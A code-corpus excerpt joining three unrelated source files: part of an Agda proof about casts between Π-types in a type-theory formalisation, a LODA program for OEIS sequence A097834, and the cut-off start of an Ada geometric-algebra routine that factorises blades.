([t] : Δ ⊩⟨ ι ⁰ ⟩ t ∷ wk (lift ρ) G₂ [ x ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [x])
(⊢e : Δ ⊢ e ∷ Id (U ⁰) (wk (lift ρ) G₂ [ x ]) (wk (lift ρ) G₄ [ y ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G₂ [ x ]) (wk (lift ρ) G₄ [ y ]) e t ∷ wk (lift ρ) G₄ [ y ] ^ [ ! , ι ⁰ ] / [G₄] [ρ] ⊢Δ [y])
(extrecursor₁ : ∀ {ρ Δ x x′ y y′ t t′ e e′}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([x′] : Δ ⊩⟨ ι ⁰ ⟩ x′ ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([x≡x′] : Δ ⊩⟨ ι ⁰ ⟩ x ≡ x′ ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ ([y′] : Δ ⊩⟨ ι ⁰ ⟩ y′ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ ([y≡y′] : Δ ⊩⟨ ι ⁰ ⟩ y ≡ y′ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ ([t] : Δ ⊩⟨ ι ⁰ ⟩ t ∷ wk (lift ρ) G₁ [ x ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x])
→ ([t′] : Δ ⊩⟨ ι ⁰ ⟩ t′ ∷ wk (lift ρ) G₁ [ x′ ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x′])
→ ([t≡t′] : Δ ⊩⟨ ι ⁰ ⟩ t ≡ t′ ∷ wk (lift ρ) G₁ [ x ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x])
→ (⊢e : Δ ⊢ e ∷ Id (U ⁰) (wk (lift ρ) G₁ [ x ]) (wk (lift ρ) G₃ [ y ]) ^ [ % , ι ¹ ])
→ (⊢e′ : Δ ⊢ e′ ∷ Id (U ⁰) (wk (lift ρ) G₁ [ x′ ]) (wk (lift ρ) G₃ [ y′ ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G₁ [ x ]) (wk (lift ρ) G₃ [ y ]) e t ≡ cast ⁰ (wk (lift ρ) G₁ [ x′ ]) (wk (lift ρ) G₃ [ y′ ]) e′ t′ ∷ wk (lift ρ) G₃ [ y ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [y])
(extrecursor₂ : ∀ {ρ Δ x x′ y y′ t t′ e e′}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
→ ([x′] : Δ ⊩⟨ ι ⁰ ⟩ x′ ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
→ ([x≡x′] : Δ ⊩⟨ ι ⁰ ⟩ x ≡ x′ ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
→ ([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ ([y′] : Δ ⊩⟨ ι ⁰ ⟩ y′ ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ ([y≡y′] : Δ ⊩⟨ ι ⁰ ⟩ y ≡ y′ ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ ([t] : Δ ⊩⟨ ι ⁰ ⟩ t ∷ wk (lift ρ) G₂ [ x ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [x])
→ ([t′] : Δ ⊩⟨ ι ⁰ ⟩ t′ ∷ wk (lift ρ) G₂ [ x′ ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [x′])
→ ([t≡t′] : Δ ⊩⟨ ι ⁰ ⟩ t ≡ t′ ∷ wk (lift ρ) G₂ [ x ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [x])
→ (⊢e : Δ ⊢ e ∷ Id (U ⁰) (wk (lift ρ) G₂ [ x ]) (wk (lift ρ) G₄ [ y ]) ^ [ % , ι ¹ ])
→ (⊢e′ : Δ ⊢ e′ ∷ Id (U ⁰) (wk (lift ρ) G₂ [ x′ ]) (wk (lift ρ) G₄ [ y′ ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G₂ [ x ]) (wk (lift ρ) G₄ [ y ]) e t ≡ cast ⁰ (wk (lift ρ) G₂ [ x′ ]) (wk (lift ρ) G₄ [ y′ ]) e′ t′ ∷ wk (lift ρ) G₄ [ y ] ^ [ ! , ι ⁰ ] / [G₄] [ρ] ⊢Δ [y])
(eqrecursor : ∀ {ρ Δ x₁ x₂ x₃ x₄ t₁ t₂ e₁₃ e₂₄}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x₁] : Δ ⊩⟨ ι ⁰ ⟩ x₁ ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([x₂] : Δ ⊩⟨ ι ⁰ ⟩ x₂ ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
→ ([G₁x₁≡G₂x₂] : Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₁ [ x₁ ] ≡ wk (lift ρ) G₂ [ x₂ ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x₁])
→ ([x₃] : Δ ⊩⟨ ι ⁰ ⟩ x₃ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ ([x₄] : Δ ⊩⟨ ι ⁰ ⟩ x₄ ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ ([G₃x₃≡G₄x₄] : Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₃ [ x₃ ] ≡ wk (lift ρ) G₄ [ x₄ ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [x₃])
→ ([t₁] : Δ ⊩⟨ ι ⁰ ⟩ t₁ ∷ wk (lift ρ) G₁ [ x₁ ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x₁])
→ ([t₂] : Δ ⊩⟨ ι ⁰ ⟩ t₂ ∷ wk (lift ρ) G₂ [ x₂ ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [x₂])
→ ([t₁≡t₂] : Δ ⊩⟨ ι ⁰ ⟩ t₁ ≡ t₂ ∷ wk (lift ρ) G₁ [ x₁ ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x₁])
→ (⊢e₁₃ : Δ ⊢ e₁₃ ∷ Id (U ⁰) (wk (lift ρ) G₁ [ x₁ ]) (wk (lift ρ) G₃ [ x₃ ]) ^ [ % , ι ¹ ])
→ (⊢e₂₄ : Δ ⊢ e₂₄ ∷ Id (U ⁰) (wk (lift ρ) G₂ [ x₂ ]) (wk (lift ρ) G₄ [ x₄ ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G₁ [ x₁ ]) (wk (lift ρ) G₃ [ x₃ ]) e₁₃ t₁ ≡ cast ⁰ (wk (lift ρ) G₂ [ x₂ ]) (wk (lift ρ) G₄ [ x₄ ]) e₂₄ t₂ ∷ wk (lift ρ) G₃ [ x₃ ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [x₃])
([b₁] : ∀ {ρ Δ e x}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
(⊢e : Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) ^ [ % , ι ¹ ])
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₃) (wk ρ F₁) (Idsym (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) e) x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([bext₁] : ∀ {ρ Δ e e′ x y} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) ^ [ % , ι ¹ ])
→ (Δ ⊢ e′ ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) ^ [ % , ι ¹ ])
→ (Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ x ≡ y ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₃) (wk ρ F₁) (Idsym (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) e) x
≡ cast ⁰ (wk ρ F₃) (wk ρ F₁) (Idsym (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) e′) y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([b₂] : ∀ {ρ Δ e x}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
(⊢e : Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) ^ [ % , ι ¹ ])
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₄) (wk ρ F₂) (Idsym (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) e) x ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
([bext₂] : ∀ {ρ Δ e e′ x y} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) ^ [ % , ι ¹ ])
→ (Δ ⊢ e′ ∷ Id (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) ^ [ % , ι ¹ ])
→ (Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ x ≡ y ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₄) (wk ρ F₂) (Idsym (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) e) x
≡ cast ⁰ (wk ρ F₄) (wk ρ F₂) (Idsym (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) e′) y ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
([b₁≡b₂] : ∀ {ρ Δ e₁₃ e₂₄ x₃ x₄} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (Δ ⊢ e₁₃ ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) ^ [ % , ι ¹ ])
→ (Δ ⊢ e₂₄ ∷ Id (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) ^ [ % , ι ¹ ])
→ (Δ ⊩⟨ ι ⁰ ⟩ x₃ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ x₄ ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ x₃ ≡ x₄ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₃) (wk ρ F₁) (Idsym (Univ rF ⁰) (wk ρ F₁) (wk ρ F₃) e₁₃) x₃
≡ cast ⁰ (wk ρ F₄) (wk ρ F₂) (Idsym (Univ rF ⁰) (wk ρ F₂) (wk ρ F₄) e₂₄) x₄ ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
where
module g₁ = cast-ΠΠ-lemmas-2 ⊢Γ ⊢A₁ ⊢ΠF₁G₁ D₁ ⊢F₁ ⊢G₁ A₁≡A₁ [F₁] [G₁] G₁-ext ⊢A₃ ⊢ΠF₃G₃ D₃ ⊢F₃ ⊢G₃ A₃≡A₃ [F₃] [G₃] G₃-ext ⊢e₁₃
recursor₁ extrecursor₁ ⊢t₁ Df₁ [f₁ext] [f₁] [b₁] [bext₁]
module g₂ = cast-ΠΠ-lemmas-2 ⊢Γ ⊢A₂ ⊢ΠF₂G₂ D₂ ⊢F₂ ⊢G₂ A₂≡A₂ [F₂] [G₂] G₂-ext ⊢A₄ ⊢ΠF₄G₄ D₄ ⊢F₄ ⊢G₄ A₄≡A₄ [F₄] [G₄] G₄-ext ⊢e₂₄
recursor₂ extrecursor₂ ⊢t₂ Df₂ [f₂ext] [f₂] [b₂] [bext₂]
[g₁≡g₂] : ∀ {ρ Δ x₃ x₄} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x₃] : Δ ⊩⟨ ι ⁰ ⟩ x₃ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ ([x₄] : Δ ⊩⟨ ι ⁰ ⟩ x₄ ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
→ ([x₃≡x₄] : Δ ⊩⟨ ι ⁰ ⟩ x₃ ≡ x₄ ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ g₁.g ρ x₃ ≡ g₂.g ρ x₄ ∷ wk (lift ρ) G₃ [ x₃ ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [x₃]
[g₁≡g₂] {ρ} {Δ} {x₃} {x₄} [ρ] ⊢Δ [x₃] [x₄] [x₃≡x₄] =
let
[b₁] = [b₁] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ g₁.⊢fste) [x₃]
[b₂] = [b₂] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ g₂.⊢fste) [x₄]
[b₁≡b₂]′ = [b₁≡b₂] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ g₁.⊢fste) (Twk.wkTerm [ρ] ⊢Δ g₂.⊢fste) [x₃] [x₄] [x₃≡x₄]
[b₁:F₂] = convTerm₁ ([F₁] [ρ] ⊢Δ) ([F₂] [ρ] ⊢Δ) ([F₁≡F₂] [ρ] ⊢Δ) [b₁]
[b₁≡b₂:F₂] = convEqTerm₁ ([F₁] [ρ] ⊢Δ) ([F₂] [ρ] ⊢Δ) ([F₁≡F₂] [ρ] ⊢Δ) [b₁≡b₂]′
[G₁b₁≡G₂b₂] = transEq ([G₁] [ρ] ⊢Δ [b₁]) ([G₂] [ρ] ⊢Δ [b₁:F₂]) ([G₂] [ρ] ⊢Δ [b₂])
([G₁≡G₂] [ρ] ⊢Δ [b₁]) (G₂-ext [ρ] ⊢Δ [b₁:F₂] [b₂] [b₁≡b₂:F₂])
[x₃:F₄] = convTerm₁ ([F₃] [ρ] ⊢Δ) ([F₄] [ρ] ⊢Δ) ([F₃≡F₄] [ρ] ⊢Δ) [x₃]
[x₃≡x₄:F₄] = convEqTerm₁ ([F₃] [ρ] ⊢Δ) ([F₄] [ρ] ⊢Δ) ([F₃≡F₄] [ρ] ⊢Δ) [x₃≡x₄]
[G₃x₃≡G₄x₄] = transEq ([G₃] [ρ] ⊢Δ [x₃]) ([G₄] [ρ] ⊢Δ [x₃:F₄]) ([G₄] [ρ] ⊢Δ [x₄])
([G₃≡G₄] [ρ] ⊢Δ [x₃]) (G₄-ext [ρ] ⊢Δ [x₃:F₄] [x₄] [x₃≡x₄:F₄])
[t₁] , [t₁≡f₁b₁] = redSubst*Term (appRed* (escapeTerm ([F₁] [ρ] ⊢Δ) [b₁]) (Twk.wkRed*Term [ρ] ⊢Δ Df₁))
([G₁] [ρ] ⊢Δ [b₁]) ([f₁] [ρ] ⊢Δ [b₁])
[t₂] , [t₂≡f₂b₂] = redSubst*Term (appRed* (escapeTerm ([F₂] [ρ] ⊢Δ) [b₂]) (Twk.wkRed*Term [ρ] ⊢Δ Df₂))
([G₂] [ρ] ⊢Δ [b₂]) ([f₂] [ρ] ⊢Δ [b₂])
[t₁≡f₂b₁] = transEqTerm ([G₁] [ρ] ⊢Δ [b₁]) [t₁≡f₁b₁] ([f₁≡f₂] [ρ] ⊢Δ [b₁])
[f₂b₁≡t₂] = symEqTerm ([G₂] [ρ] ⊢Δ [b₂]) (transEqTerm ([G₂] [ρ] ⊢Δ [b₂]) [t₂≡f₂b₂] ([f₂ext] [ρ] ⊢Δ [b₂] [b₁:F₂] (symEqTerm ([F₂] [ρ] ⊢Δ) [b₁≡b₂:F₂])))
[t₁≡t₂] = transEqTerm ([G₁] [ρ] ⊢Δ [b₁]) [t₁≡f₂b₁] (convEqTerm₂ ([G₁] [ρ] ⊢Δ [b₁]) ([G₂] [ρ] ⊢Δ [b₂]) [G₁b₁≡G₂b₂] [f₂b₁≡t₂])
x = eqrecursor [ρ] ⊢Δ [b₁] [b₂] [G₁b₁≡G₂b₂] [x₃] [x₄] [G₃x₃≡G₄x₄] [t₁] [t₂] [t₁≡t₂]
(g₁.⊢snde′ [ρ] ⊢Δ (escapeTerm ([F₃] [ρ] ⊢Δ) [x₃])) (g₂.⊢snde′ [ρ] ⊢Δ (escapeTerm ([F₄] [ρ] ⊢Δ) [x₄]))
in x
g₁≡g₂ : Γ ⊢ (lam F₃ ▹ g₁.g (step id) (var 0) ^ ⁰) ≅ (lam F₄ ▹ g₂.g (step id) (var 0) ^ ⁰) ∷ Π F₃ ^ rF ° ⁰ ▹ G₃ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ]
g₁≡g₂ =
let
Δ₁ = g₁.Δ₁
⊢Δ₁ = g₁.⊢Δ₁
[ρ₁] = g₁.[ρ₁]
⊢F₃′ = Twk.wk (Twk.step Twk.id) ⊢Δ₁ ⊢F₃
⊢g₁0 = escapeTerm ([G₃] [ρ₁] ⊢Δ₁ g₁.[0]) (g₁.[g] [ρ₁] ⊢Δ₁ g₁.[0])
⊢g₁0′ = (PE.subst (λ X → Δ₁ ⊢ g₁.g (step id) (var 0) ∷ X ^ [ ! , ι ⁰ ]) (wkSingleSubstId G₃) ⊢g₁0)
⊢g₁0″ = Twk.wkTerm (Twk.lift (Twk.step Twk.id)) (⊢Δ₁ ∙ ⊢F₃′) ⊢g₁0′
⊢F₄′ = Twk.wk (Twk.step Twk.id) ⊢Δ₁ ⊢F₄
⊢g₂0 = escapeTerm ([G₄] g₂.[ρ₁] g₂.⊢Δ₁ g₂.[0]) (g₂.[g] g₂.[ρ₁] g₂.⊢Δ₁ g₂.[0])
⊢g₂0′ = (PE.subst (λ X → g₂.Δ₁ ⊢ g₂.g (step id) (var 0) ∷ X ^ [ ! , ι ⁰ ]) (wkSingleSubstId G₄) ⊢g₂0)
⊢g₂0″ = Twk.wkTerm (Twk.lift (Twk.step Twk.id)) (⊢Δ₁ ∙ ⊢F₄′) ⊢g₂0′
D₁ : Δ₁ ⊢ (lam (wk1 F₃) ▹ wk1d (g₁.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ⇒* g₁.g (step id) (var 0) ∷ wk1d G₃ [ var 0 ] ^ ι ⁰
D₁ = PE.subst (λ X → Δ₁ ⊢ (lam (wk1 F₃) ▹ wk1d (g₁.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ⇒ X ∷ wk1d G₃ [ var 0 ] ^ ι ⁰)
(wkSingleSubstId (g₁.g (step id) (var 0))) (β-red (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₃′ ⊢g₁0″ (var ⊢Δ₁ here))
⇨ id ⊢g₁0
F₃≡F₄ = escapeEq ([F₃] [ρ₁] ⊢Δ₁) ([F₃≡F₄] [ρ₁] ⊢Δ₁)
[0:F₄] : Δ₁ ⊩⟨ ι ⁰ ⟩ var 0 ∷ wk (step id) F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ₁] ⊢Δ₁
[0:F₄] = neuTerm ([F₄] [ρ₁] ⊢Δ₁) (var 0) (conv (var ⊢Δ₁ here) (≅-eq F₃≡F₄)) (~-var (conv (var ⊢Δ₁ here) (≅-eq F₃≡F₄)))
D₂ : Δ₁ ⊢ (lam (wk1 F₄) ▹ wk1d (g₂.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ⇒* g₂.g (step id) (var 0) ∷ wk1d G₄ [ var 0 ] ^ ι ⁰
D₂ = PE.subst (λ X → Δ₁ ⊢ (lam (wk1 F₄) ▹ wk1d (g₂.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ⇒ X ∷ wk1d G₄ [ var 0 ] ^ ι ⁰)
(wkSingleSubstId (g₂.g (step id) (var 0))) (β-red (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₄′ ⊢g₂0″ (conv (var ⊢Δ₁ here) (≅-eq F₃≡F₄)))
⇨ id (escapeTerm ([G₄] [ρ₁] ⊢Δ₁ [0:F₄]) (g₂.[g] [ρ₁] ⊢Δ₁ [0:F₄]))
[g₁0≡g₁] : Δ₁ ⊩⟨ ι ⁰ ⟩ (lam (wk1 F₃) ▹ wk1d (g₁.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ≡ g₁.g (step id) (var 0) ∷ wk1d G₃ [ var 0 ] ^ [ ! , ι ⁰ ] / [G₃] [ρ₁] ⊢Δ₁ g₁.[0]
[g₁0≡g₁] = proj₂ (redSubst*Term D₁ ([G₃] [ρ₁] ⊢Δ₁ g₁.[0]) (g₁.[g] [ρ₁] ⊢Δ₁ g₁.[0]))
[g₂0≡g₂] : Δ₁ ⊩⟨ ι ⁰ ⟩ (lam (wk1 F₄) ▹ wk1d (g₂.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ≡ g₂.g (step id) (var 0) ∷ wk1d G₄ [ var 0 ] ^ [ ! , ι ⁰ ] / [G₄] [ρ₁] ⊢Δ₁ [0:F₄]
[g₂0≡g₂] = proj₂ (redSubst*Term D₂ ([G₄] [ρ₁] ⊢Δ₁ [0:F₄]) (g₂.[g] [ρ₁] ⊢Δ₁ [0:F₄]))
[g₁≡g₂]′ : Δ₁ ⊩⟨ ι ⁰ ⟩ g₁.g (step id) (var 0) ≡ g₂.g (step id) (var 0) ∷ wk1d G₃ [ var 0 ] ^ [ ! , ι ⁰ ] / [G₃] [ρ₁] ⊢Δ₁ g₁.[0]
[g₁≡g₂]′ = [g₁≡g₂] [ρ₁] ⊢Δ₁ g₁.[0] (convTerm₁ ([F₃] [ρ₁] ⊢Δ₁) ([F₄] [ρ₁] ⊢Δ₁) ([F₃≡F₄] [ρ₁] ⊢Δ₁) g₁.[0]) (reflEqTerm ([F₃] [ρ₁] ⊢Δ₁) g₁.[0])
[g₁0≡g₂0] = transEqTerm ([G₃] [ρ₁] ⊢Δ₁ g₁.[0]) (transEqTerm ([G₃] [ρ₁] ⊢Δ₁ g₁.[0]) [g₁0≡g₁] [g₁≡g₂]′)
(convEqTerm₂ ([G₃] [ρ₁] ⊢Δ₁ g₁.[0]) ([G₄] [ρ₁] ⊢Δ₁ [0:F₄]) ([G₃≡G₄] [ρ₁] ⊢Δ₁ g₁.[0]) (symEqTerm ([G₄] [ρ₁] ⊢Δ₁ [0:F₄]) [g₂0≡g₂]))
x₀ = escapeTermEq ([G₃] [ρ₁] ⊢Δ₁ g₁.[0]) [g₁0≡g₂0]
x₁ = PE.subst (λ X → Δ₁ ⊢ (lam (wk1 F₃) ▹ wk1d (g₁.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ≅ (lam (wk1 F₄) ▹ wk1d (g₂.g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ∷ X ^ [ ! , ι ⁰ ]) (wkSingleSubstId G₃) x₀
in ≅-η-eq (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₃ g₁.⊢λg (conv g₂.⊢λg (sym (≅-eq A₃≡A₄))) lamₙ lamₙ x₁
[g₁a≡g₂a] : ∀ {ρ Δ a} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ wk ρ (lam F₃ ▹ g₁.g (step id) (var 0) ^ ⁰) ∘ a ^ ⁰ ≡ wk ρ (lam F₄ ▹ g₂.g (step id) (var 0) ^ ⁰) ∘ a ^ ⁰
∷ wk (lift ρ) G₃ [ a ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [a])
[g₁a≡g₂a] [ρ] ⊢Δ [a] =
let
[a]′ = convTerm₁ ([F₃] [ρ] ⊢Δ) ([F₄] [ρ] ⊢Δ) ([F₃≡F₄] [ρ] ⊢Δ) [a]
[a≡a] = reflEqTerm ([F₃] [ρ] ⊢Δ) [a]
in redSubst*EqTerm (g₁.g∘a≡ga [ρ] ⊢Δ [a]) (g₂.g∘a≡ga [ρ] ⊢Δ [a]′)
([G₃] [ρ] ⊢Δ [a]) ([G₄] [ρ] ⊢Δ [a]′) ([G₃≡G₄] [ρ] ⊢Δ [a])
(g₁.[g] [ρ] ⊢Δ [a]) (g₂.[g] [ρ] ⊢Δ [a]′) ([g₁≡g₂] [ρ] ⊢Δ [a] [a]′ [a≡a])
|
oeis/097/A097834.asm | neoneye/loda-programs | 11 | 93922 | ; A097834: Chebyshev polynomials S(n,27) + S(n-1,27) with Diophantine property.
; Submitted by <NAME>
; 1,28,755,20357,548884,14799511,399037913,10759224140,290100013867,7821941150269,210902311043396,5686540457021423,153325690028535025,4134107090313424252,111467565748433919779,3005490168117402409781,81036766973421431144308,2184987218114261238486535,58913618122111632007992137,1588482702078899802977301164,42830119338008183048379139291,1154824739424142042503259459693,31137437845113826964539626272420,839555997078649186000066649895647,22636874483278414195037259920910049
mov $2,2
mov $3,1
lpb $0
sub $0,1
mov $1,$3
mul $1,25
add $2,$1
add $3,$2
lpe
mov $0,$3
|
ga_ref_impl/src/multivector_utilities.adb | rogermc2/GA_Ada | 3 | 5830 |
with Ada.Text_IO; use Ada.Text_IO;
with Interfaces;
with Bits;
with Blade;
with Blade_Types;
-- with GA_Utilities;
with Metric;
with Multivector_Type;
package body Multivector_Utilities is
-- Factorize_Blades returns the k unit factors of the blade and
-- the scale of the blade
function Factorize_Blades (MV_B : Multivectors.Multivector; Scale : out Float)
return Multivectors.Multivector_List is
use Interfaces;
use Blade;
use Multivectors;
MV_Type_Rec : Multivector_Type.MV_Type_Record;
K_Grade : Integer := 0;
Grade_Valid : Grade_Status;
E_Largest : Basis_Blade;
Basis_Bit : Unsigned_32;
B_Current : Multivector;
aFactor : Multivector;
Factors : Multivector_List;
E_Array : Basis_Blade_Array (1 .. Space_Dimension);
E_Bitmap : Unsigned_32;
Idx : Integer := 0;
begin
if Space_Dimension < 1 then
raise MV_Utilities_Exception with
"Multivector_Utilities.Factorize_Blades Geometry type has not been set.";
end if;
if not Is_Null (MV_B) then
Grade_Valid := Grade (MV_B, K_Grade);
if Grade_Valid = Grade_Inhomogeneous then
MV_Type_Rec := Multivector_Type.Init (MV_B);
K_Grade := Multivector_Type.MV_Grade (MV_Type_Rec);
elsif Grade_Valid = Grade_Null then
raise MV_Utilities_Exception with
"Multivector_Utilities.Factorize_Blades null grade multivector detected.";
end if;
-- set scale of output
if K_Grade = 0 then
Scale := Scalar_Part (MV_B);
else
